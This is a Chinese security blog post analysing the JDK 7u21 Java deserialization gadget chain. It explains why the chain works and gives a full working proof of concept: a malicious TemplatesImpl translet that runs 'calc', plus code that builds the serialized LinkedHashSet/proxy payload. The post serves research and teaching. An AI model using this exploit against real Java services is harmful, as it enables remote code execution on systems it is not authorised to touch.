JDK7u21反序列化链

admin 2024年11月27日23:06:15评论6 views字数 6995阅读23分19秒阅读模式

原理分析

在JDK7U21这条链中首先内部下通过构造了两个对象,一个是恶意的TemplatesImpl对象,另外一个是一个Handler对象(AnnotationInvocationHandler),通过这个Handler生成了一个代理对象Proxy

最外层使用的是一个LinkedHashSet,将恶意的TemplatesImpl对象以及代理对象添加到了这个Set中。

在反序列化还原的时候会触发LinkedHashSet的父类HashSetreadObject方法。

由于HashSet的缘故,还原的时候必然要将Set中的对象还原(readObject)并putSet中。

这里由于是Set,只有键没有值,而在反序列化的时候Set的底层实际上使用的是Map,以我们插入的对象为键,值的话就是一个空对象占位。

JDK7u21反序列化链

而由于Set的特性:不会出现重复的成员,其底层的实现为遍历表中所有的已有KV键值对(Entry)与将要put进去的KV键值对(Entry)的进行Keyhash比较以及值比较,之所以值进行Key的比较是因为Set只需要Key这部分关键信息,值只是一个空对象占位(PRESENT):

put(key,value){    ....    if(e.hash==hash(key)&&(k=e.key)==key||key.equals(k)){        // 如果校验通过则代表hash表中已有该键        // 对该键对应的值进行更新    }}

注意这里会调用key.equals(k),既然所有KV都要put进去,那么我们的代理对象proxy也必然会进行put操作,put的时候key就反序列化还原的代理对象,而此时执行key.equals(k),由于key是代理对象,将会触发其对应的Handlerinvoke方法,也就是AnnotationInvocationHandler#invoke方法,至于这里的k对象由于是遍历所有的kv键值对进行比较,而这里的k是每一次遍历到的kv键值对的key,结合前面Set特性可知在遍历过程中k必然会在某个时候是前面添加进去的恶意TemplatesImpl对象,也就导致触发AnnotationInvocationHandler#invoke(EvilTemplatesImplObject)

AnnotationInvocationHandler#invoke方法逻辑如下:

public Object invoke(Object var1, Method var2, Object[] var3) {    String var4 = var2.getName();    Class[] var5 = var2.getParameterTypes();    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {        return this.equalsImpl(var3[0]);    }    ......    ......}

在开头部分有一个判断,当我们调用的是代理对象的equals方法的时候会进行特殊处理:以参数列表中第一个对象作为参数发起对sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl方法的调用,结合前面分析刚好我们调用的方法就是equals方法,也就是代表会执行sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl(EvilTemplatesImpl)

sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl方法中会遍历调用Handler对象的所有type成员的所有方法,这里的type成员即被代理的类,而我们前面设置的是Templates,故这里会调用Templates的所有方法,并且以传入的恶意TemplatesImpl对象作为方法所属对象实例(method.invoke(EvilTemplatesImpl)),进而触发emplatesImpl#getOutputProperties方法触发反序列化恶意链导致命令执行。

总览整个过程我们面临的一个问题就是:如何解决两个不同对象实例Key的Hash值一样?【e.hash == hash && ((k = e.key) == key】

当执行到put(proxy)的时候,map里实际上已经有第一个EvilTemplatesImpl,这里的 hash 就是proxy.hashCodee.hash就是 templates.hashCode,也就是需要达成proxy.hashCode() == EvilTemplatesImpl.hashCode()这个条件。

templates.hashCode()比较好说,这个类没有重写,调用的是默认的 hashCode 方法。

当调用proxy.hashCode()的时候,则会跳到AnnotationInvocationHandler.invoke()方法,再来看一下这个方法是如何处理 hashCode() 方法的。

public Object invoke(Object var1, Method var2, Object[] var3) {    String var4 = var2.getName();    Class[] var5 = var2.getParameterTypes();    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {        return this.equalsImpl(var3[0]);    } else if (var5.length != 0) {        throw new AssertionError("Too many parameters for an annotation method");    } else {        switch (var4) {            case "toString":            return this.toStringImpl();            case "hashCode":            return this.hashCodeImpl();

当调用hashCode方法的时候会返回this.hashCodeImpl(),即

private int hashCodeImpl() {    int var1 = 0;    Map.Entry var3;    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCodevar3.getValue())) {        var3 = (Map.Entry)var2.next();    }    return var1;}

该方法会从memberValues中进行遍历,并且依次计算key.hashCode(),而这个memberValues是我们在初始化AnnotationInvocationHandler的时候传入的参数2(Map

// 创建一个新的HashMap    HashMap map = new HashMap();    map.put(zeroHashCodeStr, "foo");    // 没有这行也OK    // 创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler    // 代理创建完成后,所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法    Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];    ctor.setAccessible(true);    // Handler对象    InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);    ...    map.put(zeroHashCodeStr, templates);

这个 map key 就是我们设置的特殊字符串:f5a5a608,这个字符串的 hashCode 0。整个看起来很长的循环,实际上也就变成了

var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())var1 += 127 * (0 ^ memberValueHashCode(var3.getValue())

而这里就是我们构造的EvilTemplatesImpl。整个 hash 计算就变成了EvilTemplatesImpl.hashCode(),所以proxy.hashCode() == EvilTemplatesImpl.hashCode()也就成立

第二个条件e.key == key是很明显的不同的,一个是templates,另一个是proxy,所以这个条件是false,最终会调用到equals方法。

map.put("f5a5a608", templates);

复现测试

恶意类代码

由于使用的是Templates链,所以需要继承AbstractTranslet

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {    static {        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            throw new RuntimeException(e);        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}
javac Calc.java     // 生成恶意字节码文件,注意使用的javac所属Java版本

JDK7U21

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.LinkedHashSet;public class JDK7U21 {    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException {        // 生成恶意的templates,想办法触发templates.getOutputProperties();方法        TemplatesImpl templates = new TemplatesImpl();        Class templatesClass = templates.getClass();        Field nameField = templatesClass.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates, "Calc");        String zeroHashCodeStr = "f5a5a608";        // 创建一个新的HashMap        HashMap map = new HashMap();        map.put(zeroHashCodeStr, "foo");        // 创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler        // 代理创建完成后,所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法        Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];        ctor.setAccessible(true);        InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);        // 创建代理        // 后续所有调用Templates接口的方法会全部转派到tempHandler.invoke方法        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7U21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);        LinkedHashSet set = new LinkedHashSet(); // maintain order        set.add(templates);     // 存储了恶意java字节码数据的TemplatesImpl类对象        set.add(proxy);         // 代理了Templates接口的对象        map.put(zeroHashCodeStr, templates);        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("C:\Review\Calc\Calc.class"));        byte[][] bytes = {code};        bytecodesField.set(templates, bytes);        // 序列化        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(set);        objectOutputStream.close();        // 反序列化        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);        objectInputStream.readObject();        // destruct        objectInputStream.close();        byteArrayInputStream.close();        byteArrayOutputStream.close();    }}

JDK7u21反序列化链

总结

原理分析部分由于最开始就sublime随笔记得,没图,且忘记记录参考文章,总之参考了好几篇(毕竟个人菜狗一个)。                         - Sublime小说手

原文始发于微信公众号(安全之道):JDK7u21反序列化链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日23:06:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JDK7u21反序列化链https://cn-sec.com/archives/2496582.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息